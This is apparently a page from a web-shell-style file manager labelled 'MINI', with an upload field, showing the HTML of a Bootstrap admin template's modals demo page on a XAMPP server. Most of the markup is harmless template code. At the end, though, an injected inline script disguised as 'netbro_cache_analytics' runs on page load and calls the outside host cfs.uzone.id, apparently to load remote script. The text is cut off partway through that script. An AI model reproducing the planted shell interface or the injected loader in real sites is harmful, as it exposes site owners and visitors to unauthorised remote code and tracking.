MINI
C:
/
xampp
/
htdocs
/
poss
/
assets
/
dist
/
Upload File:
files >> C:/xampp/htdocs/poss/assets/dist/modals.html
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, shrink-to-fit=no"> <title>Espire - Bootstrap 4 Admin Template</title> <!-- Favicon --> <link rel="shortcut icon" href="assets/images/logo/favicon.png"> <!-- plugins css --> <link rel="stylesheet" href="../bower_components/bootstrap/dist/css/bootstrap.css" /> <link rel="stylesheet" href="../bower_components/PACE/themes/blue/pace-theme-minimal.css" /> <link rel="stylesheet" href="../bower_components/perfect-scrollbar/css/perfect-scrollbar.min.css" /> <!-- core css --> <link href="assets/css/ei-icon.css" rel="stylesheet"> <link href="assets/css/themify-icons.css" rel="stylesheet"> <link href="assets/css/font-awesome.min.css" rel="stylesheet"> <link href="assets/css/animate.min.css" rel="stylesheet"> <link href="assets/css/app.css" rel="stylesheet"> </head> <body> <div class="app"> <div class="layout"> <!-- Side Nav START --> <div class="side-nav"> <div class="side-nav-inner"> <div class="side-nav-logo"> <a href="index.html"> <div class="logo logo-dark" style="background-image: url('assets/images/logo/logo.png')"></div> <div class="logo logo-white" style="background-image: url('assets/images/logo/logo-white.png')"></div> </a> <div class="mobile-toggle side-nav-toggle"> <a href="#"> <i class="ti-arrow-circle-left"></i> </a> </div> </div> <ul class="side-nav-menu scrollable"> <li class="nav-item"> <a class="mrg-top-30" href="index.html"> <span class="icon-holder"> <i class="ti-home"></i> </span> <span class="title">Dashboard</span> </a> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-package"></i> </span> <span class="title">Apps</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="email.html">Email</a> </li> <li> <a href="calendar.html">Calendar</a> </li> <li> <a href="social.html">Social</a> </li> </ul> </li> <li class="nav-item dropdown open"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-palette"></i> </span> <span class="title">UI Elements</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="cards.html">Cards</a> </li> <li> <a href="buttons.html">Buttons</a> </li> <li class="active"> <a href="modals.html">Modals</a> </li> <li> <a href="tabs.html">Tabs & Accordions</a> </li> <li> <a href="progress-slider.html">Progress & Slider</a> </li> <li> <a href="notification.html">Notification</a> </li> <li> <a href="typography.html">Typography</a> </li> <li> <a href="icons.html">Icons</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-file"></i> </span> <span class="title">Forms</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="form-elements.html">Form Elements</a> </li> <li> <a href="form-layouts.html">Form Layouts</a> </li> <li> <a href="form-wizard.html">Form Wizard</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-layout-media-overlay"></i> </span> <span class="title">Tables</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="basic-table.html">Basic Table</a> </li> <li> <a href="data-table.html">Data Table</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-pie-chart"></i> </span> <span class="title">Charts</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="nvd3.html">Nvd3</a> </li> <li> <a href="chartjs.html">ChartJs</a> </li> <li> <a href="sparkline.html">Sparkline</a> </li> <li> <a href="rickshaw.html">Ricksaw</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-map-alt"></i> </span> <span class="title">Map</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="google-map.html">Google Map</a> </li> <li> <a href="vector-map.html">Vector Map</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-cloud"></i> </span> <span class="title">Extra</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="invoice.html">Invoice</a> </li> <li> <a href="account.html">Account Settings</a> </li> <li> <a href="faq.html">FAQ</a> </li> <li> <a href="gallery.html">Gallery</a> </li> <li> <a href="sign-in.html">Sign In</a> </li> <li> <a href="sign-in2.html">Sign In 2</a> </li> <li> <a href="sign-up.html">Sign Up</a> </li> <li> <a href="404.html">404</a> </li> <li> <a href="500.html">500</a> </li> </ul> </li> <li class="nav-item dropdown"> <a class="dropdown-toggle" href="javascript:void(0);"> <span class="icon-holder"> <i class="ti-view-list-alt"></i> </span> <span class="title">Multiple Levels</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li class="nav-item dropdown"> <a href="javascript:void(0);"> <span>Level 1.2</span> </a> </li> <li class="nav-item dropdown"> <a href="javascript:void(0);"> <span>Level 1.1</span> <span class="arrow"> <i class="ti-angle-right"></i> </span> </a> <ul class="dropdown-menu"> <li> <a href="javascript:void(0);">Level 2</a> </li> </ul> </li> </ul> </li> </ul> </div> </div> <!-- Side Nav END --> <!-- Page Container START --> <div class="page-container"> <!-- Header START --> <div class="header navbar"> <div class="header-container"> <ul class="nav-left"> <li> <a class="side-nav-toggle" href="javascript:void(0);"> <i class="ti-view-grid"></i> </a> </li> <li class="search-box"> <a class="search-toggle no-pdd-right" href="javascript:void(0);"> <i class="search-icon ti-search pdd-right-10"></i> <i class="search-icon-close ti-close pdd-right-10"></i> </a> </li> <li class="search-input"> <input class="form-control" type="text" placeholder="Search..."> <div class="advanced-search"> <div class="search-wrapper"> <div class="pdd-vertical-10"> <span class="display-block mrg-vertical-5 pdd-horizon-20 text-gray"> <i class="ti-user pdd-right-5"></i> <span>People</span> </span> <ul class="list-unstyled list-info"> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-1.jpg" alt=""> <div class="info"> <span class="title">Jordan Hurst</span> <span class="sub-title"> <i class="ti-location-pin"></i> <span>44 Shirley Ave. West Chicago</span> </span> </div> </a> </li> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-5.jpg" alt=""> <div class="info"> <span class="title">Jennifer Watkins</span> <span class="sub-title"> <i class="ti-location-pin"></i> <span>514 S. Magnolia St. Orlando</span> </span> </div> </a> </li> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-4.jpg" alt=""> <div class="info"> <span class="title">Michael Birch</span> <span class="sub-title"> <i class="ti-location-pin"></i> <span>70 Bowman St. South Windsor</span> </span> </div> </a> </li> </ul> </div> <div class="mrg-horizon-20 border top"></div> <div class="pdd-vertical-10"> <span class="display-block mrg-vertical-5 pdd-horizon-20 text-gray"> <i class="ti-rss pdd-right-5"></i> <span>Post</span> </span> <ul class="list-unstyled list-info"> <li> <a href="#"> <img class="thumb-img" src="assets/images/img-1.jpg" alt=""> <div class="info"> <span class="title">Artoo expresses his relief</span> <span class="sub-title"> <span>Oh, thank goodness we're coming out...</span> </span> </div> </a> </li> <li> <a href="#"> <img class="thumb-img" src="assets/images/img-2.jpg" alt=""> <div class="info"> <span class="title">Ready for some power?</span> <span class="sub-title"> <span>Lord Vader. You may take Caption So...</span> </span> </div> </a> </li> </ul> </div> </div> <div class="search-footer"> <span>You are Searching for '<b class="text-dark"><span class="serach-text-bind"></span></b>'</span> </div> </div> </li> </ul> <ul class="nav-right"> <li class="user-profile dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown"> <img class="profile-img img-fluid" src="assets/images/user.jpg" alt=""> <div class="user-info"> <span class="name pdd-right-5">Nate Leong</span> <i class="ti-angle-down font-size-10"></i> </div> </a> <ul class="dropdown-menu"> <li> <a href="#"> <i class="ti-settings pdd-right-10"></i> <span>Setting</span> </a> </li> <li> <a href="#"> <i class="ti-user pdd-right-10"></i> <span>Profile</span> </a> </li> <li> <a href="#"> <i class="ti-email pdd-right-10"></i> <span>Inbox</span> </a> </li> <li role="separator" class="divider"></li> <li> <a href="#"> <i class="ti-power-off pdd-right-10"></i> <span>Logout</span> </a> </li> </ul> </li> <li class="notifications dropdown"> <span class="counter">2</span> <a href="#" class="dropdown-toggle" data-toggle="dropdown"> <i class="ti-bell"></i> </a> <ul class="dropdown-menu "> <li class="notice-header"> <i class="ti-bell pdd-right-10"></i> <span>Notifications</span> </li> <li> <ul class="list-info overflow-y-auto relative scrollable"> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-5.jpg" alt=""> <div class="info"> <span class="title"> <span class="font-size-14 text-semibold">Jennifer Watkins</span> <span class="text-gray">commented on your <span class="text-dark">post</span></span> </span> <span class="sub-title">5 mins ago</span> </div> </a> </li> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-4.jpg" alt=""> <div class="info"> <span class="title"> <span class="font-size-14 text-semibold">Samuel Field</span> <span class="text-gray">likes your <span class="text-dark">photo</span></span> </span> <span class="sub-title">8 hours ago</span> </div> </a> </li> <li> <a href="#"> <span class="thumb-img bg-primary"> <span class="text-white">M</span> </span> <div class="info"> <span class="title"> <span class="font-size-14 text-semibold">Michael Birch</span> <span class="text-gray">likes your <span class="text-dark">photo</span></span> </span> <span class="sub-title">5 hours ago</span> </div> </a> </li> <li> <a href="#"> <span class="thumb-img bg-success"> <span class="text-white"><i class="fa fa-paper-plane-o"></i></span> </span> <div class="info"> <span class="title"> <span class="font-size-14 text-semibold">Message sent</span> </span> <span class="sub-title">8 hours ago</span> </div> </a> </li> <li> <a href="#"> <span class="thumb-img bg-info"> <span class="text-white"><i class="ti-user"></i></span> </span> <div class="info"> <span class="title"> <span class="font-size-14 text-semibold">Admin</span> <span class="text-gray">Welcome on board</span> </span> <span class="sub-title">8 hours ago</span> </div> </a> </li> </ul> </li> <li class="notice-footer"> <span> <a href="#" class="text-gray">Check all notifications <i class="ei-right-chevron pdd-left-5 font-size-10"></i></a> </span> </li> </ul> </li> <li> <a class="side-panel-toggle" href="javascript:void(0);"> <i class="ti-align-right"></i> </a> </li> </ul> </div> </div> <!-- Header END --> <!-- Side Panel START --> <div class="side-panel"> <div class="side-panel-wrapper bg-white"> <ul class="nav nav-tabs" role="tablist"> <li class="nav-item active"> <a class="nav-link" href="#chat" role="tab" data-toggle="tab"> <span>Chat</span> </a> </li> <li class="nav-item"> <a class="nav-link" href="#profile" role="tab" data-toggle="tab"> <span>Profile</span> </a> </li> <li class="nav-item "> <a class="nav-link" href="#todo-list" role="tab" data-toggle="tab"> <span>Todo</span> </a> </li> <li class="panel-close"> <a class="side-panel-toggle" href="javascript:void(0);"> <i class="ti-close"></i> </a> </li> </ul> <div class="tab-content"> <!-- chat START --> <div id="chat" role="tabpanel" class="tab-pane fade in active"> <div class="chat"> <div class="chat-user-list scrollable"> <div class="chat-section"> <h5 class="chat-title">Recent</h5> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-1.jpg" alt=""> <div class="user-info"> <span class="user-name">Jordan Hurst</span> <span class="prev-chat">What good's a reward if...</span> </div> <span class="status online"><span></span></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-2.jpg" alt=""> <div class="user-info"> <span class="user-name">Harriet Douglas</span> <span class="prev-chat">Don't talk to me, stranger...</span> </div> <span class="status no-disturb"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-3.jpg" alt=""> <div class="user-info"> <span class="user-name">Victoria Clayton</span> <span class="prev-chat">Well, the Force is what...</span> </div> <span class="status away"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-6.jpg" alt=""> <div class="user-info"> <span class="user-name">Michael Birch</span> <span class="prev-chat">Good. Use your aggressive...</span> </div> <span class="status online"></span> </a> </div> <div class="chat-section"> <h5 class="chat-title">Members</h5> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-4.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Samuel Field</span> </div> <span class="status"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-5.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Jennifer Watkins</span> </div> <span class="status"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-6.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Michael Birch</span> </div> <span class="status"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-10.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Renee Edwards</span> </div> <span class="status"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-11.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Kathy White</span> </div> <span class="status"></span> </a> <a href="javascript:void(0);" class="chat-user chat-toggle"> <img class="thumb-img" src="assets/images/avatars/thumb-9.jpg" alt=""> <div class="user-info"> <span class="user-name pdd-top-5">Daryl Ellis</span> </div> <span class="status"></span> </a> </div> </div> <div class="conversation"> <div class="conversation-wrapper"> <div class="conversation-header"> <a href="javascript:void(0);" class="back chat-toggle"> <i class="ti-arrow-circle-left"></i> </a> <span class="user-name">Jordan Hurst</span> </div> <div class="conversation-body"> <div class="msg"> <div class="bubble me"> <span>Feeling all right, sir?</span> </div> </div> <div class="msg"> <div class="bubble friend"> <span>Just like new</span> </div> </div> <div class="msg"> <div class="bubble friend"> <span>How about you?</span> </div> </div> <div class="msg"> <div class="bubble me"> <span>Right now I feel I could take on the whole Empire myself</span> </div> </div> <div class="msg"> <div class="bubble friend"> <span>All right</span> </div> </div> </div> <div class="conversation-footer"> <button class="upload-btn"> <i class="ti-camera"></i> </button> <input class="chat-input" type="text" placeholder="Type a message..."> <button class="sent-btn"> <i class="fa fa-send-o"></i> </button> </div> </div> </div> </div> </div> <!-- chat END --> <!-- profile START --> <div id="profile" role="tabpanel" class="tab-pane fade"> <div class="profile scrollable"> <div class="pdd-horizon-20 pdd-top-20"> <div class="border bottom"> <div class="text-center mrg-top-20"> <div class="row"> <div class="col-md-6 ml-auto mr-auto text-center"> <img class="img-fluid border-radius-round" src="assets/images/avatars/user-1.jpg" alt=""> </div> </div> <h4 class="mrg-top-20">Nate Leong</h4> <span class="">@Frontend Developer</span> </div> <div class="row text-center pdd-vertical-20"> <div class="col-sm-12"> <div class="row"> <div class="col-sm-4 col-xs-4 border right"> <div class="pdd-vertical-10"> <span class="font-size-18 text-dark">18</span> <small>Projects</small> </div> </div> <div class="col-sm-4 col-xs-4 border right"> <div class="pdd-vertical-10"> <span class="font-size-18 text-dark">1,362</span> <small>Followers</small> </div> </div> <div class="col-sm-4 col-xs-4"> <div class="pdd-vertical-10"> <span class="font-size-18 text-dark">362</span> <small>Points</small> </div> </div> </div> </div> </div> </div> </div> <div class="pdd-horizon-20 pdd-top-20"> <div class="border bottom"> <h5 class="text-dark mrg-btm-20">Quick Tools</h5> <ul class="list-unstyled list-link font-size-16 pdd-btm-20"> <li> <a href="#"> <i class="ti-user pdd-right-10"></i> <span>Friend Request</span> <span class="label label-info mrg-left-5">2</span> </a> </li> <li> <a href="#"> <i class="ti-book pdd-right-10"></i> <span>Inbox</span> <span class="label label-warning mrg-left-5">8</span> </a> </li> <li> <a href="#"> <i class="ti-settings pdd-right-10"></i> <span>Settings</span> </a> </li> </ul> </div> </div> <div class="padding-20"> <h5 class="text-dark mrg-btm-20">Recent</h5> <ul class="list-unstyled list-info"> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-1.jpg" alt=""> <div class="info"> <span class="title">Jordan Hurst</span> <span class="sub-title">have send you a request</span> <span class="float-object">8m</span> </div> </a> </li> <li> <a href="#"> <img class="thumb-img" src="assets/images/avatars/thumb-4.jpg" alt=""> <div class="info"> <span class="title">Samuel Field</span> <span class="sub-title">have send you a request</span> <span class="float-object">7d</span> </div> </a> </li> <li> <a href="#"> <span class="thumb-img bg-info text-center font-size-25 font-secondary"> <span class="text-white">E</span> </span> <div class="info"> <span class="title">Espire</span> <span class="sub-title">Welcome on Board</span> <span class="float-object">7d</span> </div> </a> </li> </ul> </div> </div> </div> <!-- profile END --> <!-- todo START --> <div id="todo-list" role="tabpanel" class="tab-pane fade"> <div class="todo-wrapper"> <div class="todo-category-wrapper"> <div class="row mrg-btm-15"> <div class="col-md-12"> <h3 class="no-mrg-top">Todo List</h3> </div> </div> <a href="javascript:void(0);" class="todo-toggle"> <div class="todo-category"> <span class="amount">8</span> <span class="category">Today</span> </div> </a> <a href="javascript:void(0);" class="todo-toggle"> <div class="todo-category"> <span class="amount">18</span> <span class="category">This Week</span> </div> </a> <a href="javascript:void(0);" class="todo-toggle"> <div class="todo-category"> <span class="amount">28</span> <span class="category">This Month</span> </div> </a> <a href="javascript:void(0);" class="todo-toggle"> <div class="create-category"> <i class="amount fa fa-plus-circle"></i> <span class="category">New Category</span> </div> </a> </div> <div class="todolist-wrapper"> <div class="todolist-header"> <a href="javascript:void(0);" class="back todo-toggle"> <i class="ti-arrow-circle-left"></i> </a> <h3 class="category">This Week</h3> <a href="#" class="add"> <span>ADD</span> </a> </div> <div class="todolist-body"> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="task1" name="task1" type="checkbox"> <label for="task1">I hope the old man got that tractor </label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="task2" name="task2" type="checkbox"> <label for="task2">Come on, come on!</label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="task3" name="task3" type="checkbox"> <label for="task3">it was dangerous here</label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="task4" name="task4" type="checkbox"> <label for="task4">I hope the old man got that tractor </label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="task5" name="task5" type="checkbox"> <label for="task5">Artoo! Artoo, quickly!</label> </div> </div> <div class="todolist-body"> <div class="pdd-btm-5 mrg-btm-15 border bottom"> <p class="mrg-btm-5">Completed</p> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="completed-1" name="completed-1" type="checkbox" checked=""> <label for="completed-1">I hope the old man got that tractor </label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="completed-2" name="completed-2" type="checkbox" checked=""> <label for="completed-2">Come on, come on!</label> </div> <div class="checkbox"> <button class="delete"> <i class="ti-close"></i> </button> <input id="completed-3" name="completed-3" type="checkbox" checked=""> <label for="completed-3">it was dangerous here</label> </div> </div> </div> </div> </div> </div> </div> </div> <!-- Side Panel END --> <!-- theme configurator START --> <div class="theme-configurator"> <div class="configurator-wrapper"> <div class="config-header"> <h4 class="config-title">Config Panel</h4> <button class="config-close"> <i class="ti-close"></i> </button> </div> <div class="config-body"> <div class="mrg-btm-30"> <p class="lead font-weight-normal">Header Color</p> <div class="theme-colors header-default"> <input type="radio" id="header-default" name="theme"> <label for="header-default"></label> </div> <div class="theme-colors header-primary"> <input type="radio" class="primary" id="header-primary" name="theme"> <label for="header-primary"></label> </div> <div class="theme-colors header-info"> <input type="radio" id="header-info" name="theme"> <label for="header-info"></label> </div> <div class="theme-colors header-success"> <input type="radio" id="header-success" name="theme"> <label for="header-success"></label> </div> <div class="theme-colors header-danger"> <input type="radio" id="header-danger" name="theme"> <label for="header-danger"></label> </div> <div class="theme-colors header-dark"> <input type="radio" id="header-dark" name="theme"> <label for="header-dark"></label> </div> </div> <div class="mrg-btm-30"> <p class="lead font-weight-normal">Sidebar Color</p> <div class="theme-colors sidenav-default"> <input type="radio" id="sidenav-default" name="sidenav"> <label for="sidenav-default"></label> </div> <div class="theme-colors side-nav-dark"> <input type="radio" id="side-nav-dark" name="sidenav"> <label for="side-nav-dark"></label> </div> </div> <div class="mrg-btm-30"> <p class="lead font-weight-normal no-mrg-btm">RTL</p> <div class="toggle-checkbox checkbox-inline toggle-sm mrg-top-10"> <input type="checkbox" name="rtl-toogle" id="rtl-toogle"> <label for="rtl-toogle"></label> </div> </div> </div> </div> </div> <!-- theme configurator END --> <!-- Theme Toggle Button START --> <button class="theme-toggle btn btn-rounded btn-icon"> <i class="ti-palette"></i> </button> <!-- Theme Toggle Button END --> <!-- Content Wrapper START --> <div class="main-content"> <div class="container-fluid"> <div class="page-title"> <h4>Modals</h4> </div> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-block"> <div class="row"> <div class="col-md-4"> <h5 class="mrg-btm-10">Default Modal</h5> <img class="img-fluid mrg-horizon-auto mrg-btm-15" src="assets/images/others/modal-md.jpg" alt=""> <div class="row"> <div class="col-lg-8 col-md-12"> <p class="font-size-12">This is default modal with or without animation. simply add your animation class to modal animate it.</p> </div> <div class="col-lg-4 col-md-12 text-right pdd-top-5"> <button data-toggle="modal" data-target="#default-modal" class="btn btn-sm btn-primary">Trigger</button> </div> </div> </div> <div class="col-md-4"> <h5 class="mrg-btm-10">Side Modal Right</h5> <img class="img-fluid mrg-horizon-auto mrg-btm-15" src="assets/images/others/modal-right.jpg" alt=""> <div class="row"> <div class="col-lg-8 col-md-12"> <p class="font-size-12">This is side modal with right slide in animation. Modal backdrop is removable by adding <code>.no-backdrop</code> class.</p> </div> <div class="col-lg-4 col-md-12 text-right pdd-top-5"> <button data-toggle="modal" data-target="#side-modal-r" class="btn btn-sm btn-primary">Trigger</button> </div> </div> </div> <div class="col-md-4"> <h5 class="mrg-btm-10">Side Modal Left</h5> <img class="img-fluid mrg-horizon-auto mrg-btm-15" src="assets/images/others/modal-left.jpg" alt=""> <div class="row"> <div class="col-lg-8 col-md-12"> <p class="font-size-12">This is side modal with left slide in animation. Modal backdrop is removable by adding <code>.no-backdrop</code> class.</p> </div> <div class="col-lg-4 col-md-12 text-right pdd-top-5"> <button data-toggle="modal" data-target="#side-modal-l" class="btn btn-sm btn-primary">Trigger</button> </div> </div> </div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-md-4"> <div class="card"> <div class="card-block"> <h5 class="mrg-btm-10">Modal Small</h5> <img class="img-fluid mrg-horizon-auto mrg-btm-15" src="assets/images/others/modal-sm.jpg" alt=""> <div class="row"> <div class="col-lg-8 col-md-12"> <p class="font-size-12">Modal size is configurable, Add class <code>.modal-sm</code> to smaller modal window</p> </div> <div class="col-lg-4 col-md-12 text-right pdd-top-5"> <button data-toggle="modal" data-target="#modal-sm" class="btn btn-sm btn-primary">Trigger</button> </div> </div> </div> </div> </div> <div class="col-md-4"> <div class="card"> <div class="card-block"> <h5 class="mrg-btm-10">Modal Large</h5> <img class="img-fluid mrg-horizon-auto mrg-btm-15" src="assets/images/others/modal-lg.jpg" alt=""> <div class="row"> <div class="col-lg-8 col-md-12"> <p class="font-size-12">Modal size is configurable, Add class <code>.modal-lg</code> to bigger modal window</p> </div> <div class="col-lg-4 col-md-12 text-right pdd-top-5"> <button data-toggle="modal" data-target="#modal-lg" class="btn btn-sm btn-primary">Trigger</button> </div> </div> </div> </div> </div> <div class="col-md-4"> <div class="card"> <div class="card-block"> <h5 class="mrg-btm-10">Modal Full Screen</h5> <img class="img-fluid mrg-horizon-auto mrg-btm-15" src="assets/images/others/modal-fs.jpg" alt=""> <div class="row"> <div class="col-lg-8 col-md-12"> <p class="font-size-12">Modal is a full screen popup, Add class <code>.modal-fs</code> to make modal window full screen</p> </div> <div class="col-lg-4 col-md-12 text-right pdd-top-5"> <button data-toggle="modal" data-target="#modal-fs" class="btn btn-sm btn-primary">Trigger</button> </div> </div> </div> </div> </div> </div> </div> <!-- Modal START--> <div class="modal fade" id="default-modal"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h4>Modal Template</h4> </div> <div class="modal-body"> <p>Orbiting the planet at maximum velocity. The moon with the Rebel base will be in range in thirty minutes. This will be a day long remembered. It has seen the end of Kenobi and it will soon see the end of the Rebellion.</p> <p>A fighter that size couldn't get this deep into space on its own. Well, he ain't going to be around long enough to tell anyone about us. Look at him. He's headed for that small moon. I think I can get him before he gets there...he's almost in range. That's no moon! It's a space station. It's too big to be a space station. I have a very bad feeling about this. Yeah, I think your right. Full reverse! Chewie, lock in the auxiliary power. Why are we still moving towards it? We're caught in a tractor beam! It's pulling us in! But there's gotta be something you can do! There's nothin' I can do about it, kid. I'm in full power. I'm going to have to shut down. But they're not going to get me without a fight! You can't win. But there are alternatives to fighting.</p> </div> <div class="modal-footer no-border"> <div class="text-right"> <button class="btn btn-default btn-sm" data-dismiss="modal">Cancel</button> <button class="btn btn-primary btn-sm" data-dismiss="modal">OK</button> </div> </div> </div> </div> </div> <div class="modal slide-in-right modal-right fade " id="side-modal-r"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="side-modal-wrapper"> <div class="vertical-align"> <div class="table-cell"> <div class="pdd-horizon-15"> <h4>Sign Up</h4> <p class="mrg-btm-15 font-size-13">Please enter your email and password to create account</p> <form> <div class="form-group"> <input type="email" class="form-control" placeholder="Email Adress"> </div> <div class="form-group"> <input type="password" class="form-control" placeholder="Password"> </div> <div class="checkbox font-size-12"> <input id="agreement" name="agreement" type="checkbox"> <label for="agreement">I agree with the <a href="#">Privacy & Policy</a></label> </div> <button class="btn btn-info btn-sm">Sign Up</button> </form> </div> </div> </div> <div class="modal-footer"> <span>Already have an account? <a href="#">Login Now</a></span> </div> </div> </div> </div> </div> <div class="modal slide-in-left modal-left fade " id="side-modal-l"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="side-modal-wrapper"> <div class="vertical-align"> <div class="table-cell"> <div class="pdd-horizon-15"> <h4>Sign Up</h4> <p class="mrg-btm-15 font-size-13">Please enter your email and password to create account</p> <form> <div class="form-group"> <input type="email" class="form-control" placeholder="Email Adress"> </div> <div class="form-group"> <input type="password" class="form-control" placeholder="Password"> </div> <div class="checkbox font-size-12"> <input id="agreement-2" name="agreement-2" type="checkbox"> <label for="agreement-2">I agree with the <a href="#">Privacy & Policy</a></label> </div> <button class="btn btn-info btn-sm">Sign Up</button> </form> </div> </div> </div> <div class="modal-footer"> <span>Already have an account? <a href="#">Login Now</a></span> </div> </div> </div> </div> </div> <div class="modal fade" id="modal-sm"> <div class="modal-dialog modal-sm" role="document"> <div class="modal-content"> <div class="modal-body"> <div class="text-center"> <img class="img-responsive mrg-horizon-auto mrg-vertical-25" src="assets/images/others/img-1.jpg" alt=""> <h3>Espire</h3> <p>18 items</p> </div> </div> <button data-dismiss="modal" class="btn btn-primary btn-block no-mrg no-border pdd-vertical-15 ng-scope"> <span class="text-uppercase">View Now</span> </button> </div> </div> </div> <div class="modal fade" id="modal-lg"> <div class="modal-dialog modal-lg" role="document"> <div class="modal-content"> <div class="modal-body"> <div class="padding-15"> <div class="row"> <div class="ml-auto col-md-5"> <h3 class="mrg-btm-20 mrg-top-130">Download App</h3> <p>Let me see your identification. You don't need to see his identification. We don't need to see his identification. These are not the droids.</p> <div class="mrg-top-20"> <a href="#" data-dismiss="modal" class="btn btn-info">Noted!</a> </div> </div> <div class="col-md-6 text-center"> <img class="img-fluid mrg-horizon-auto" src="assets/images/others/img-2.png" alt=""> </div> </div> </div> </div> </div> </div> </div> <div class="modal fade modal-fs" id="modal-fs"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-body height-100"> <div class="vertical-align text-center"> <div class="table-cell"> <div class="container"> <div class="row"> <div class="col-md-4 mr-auto ml-auto"> <div class="pdd-horizon-30 pdd-btm-50"> <img class="img-responsive mrg-horizon-auto" src="assets/images/others/mailing.png" alt=""> <h4 class="mrg-top-20">We'ill launch soon!</h4> <p class="mrg-btm-15">Subscribe us</p> <form class="ng-pristine ng-valid"> <div class="form-group"> <div class="input-group"> <span class="input-group-addon">@</span> <input type="email" class="form-control" placeholder="Email Adress"> </div> </div> <button class="btn btn-info btn-block text-bold text-uppercase">Sign Up</button> </form> <small>No worries, we won't spam</small> </div> </div> </div> </div> </div> </div> <a class="modal-close" href="#" data-dismiss="modal"> <i class="ti-close"></i> </a> </div> </div> </div> </div> <!-- Modal END--> </div> <!-- Content Wrapper END --> <!-- Footer START --> <footer class="content-footer"> <div class="footer"> <div class="copyright"> <span>Copyright © 2017 <b class="text-dark">Theme_Nate</b>. All rights reserved.</span> <span class="go-right"> <a href="#" class="text-gray mrg-right-15">Term & Conditions</a> <a href="#" class="text-gray">Privacy & Policy</a> </span> </div> </div> </footer> <!-- Footer END --> </div> <!-- Page Container END --> </div> </div> <script src="assets/js/vendor.js"></script> <script src="assets/js/app.min.js"></script> <!-- page js --> <script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + 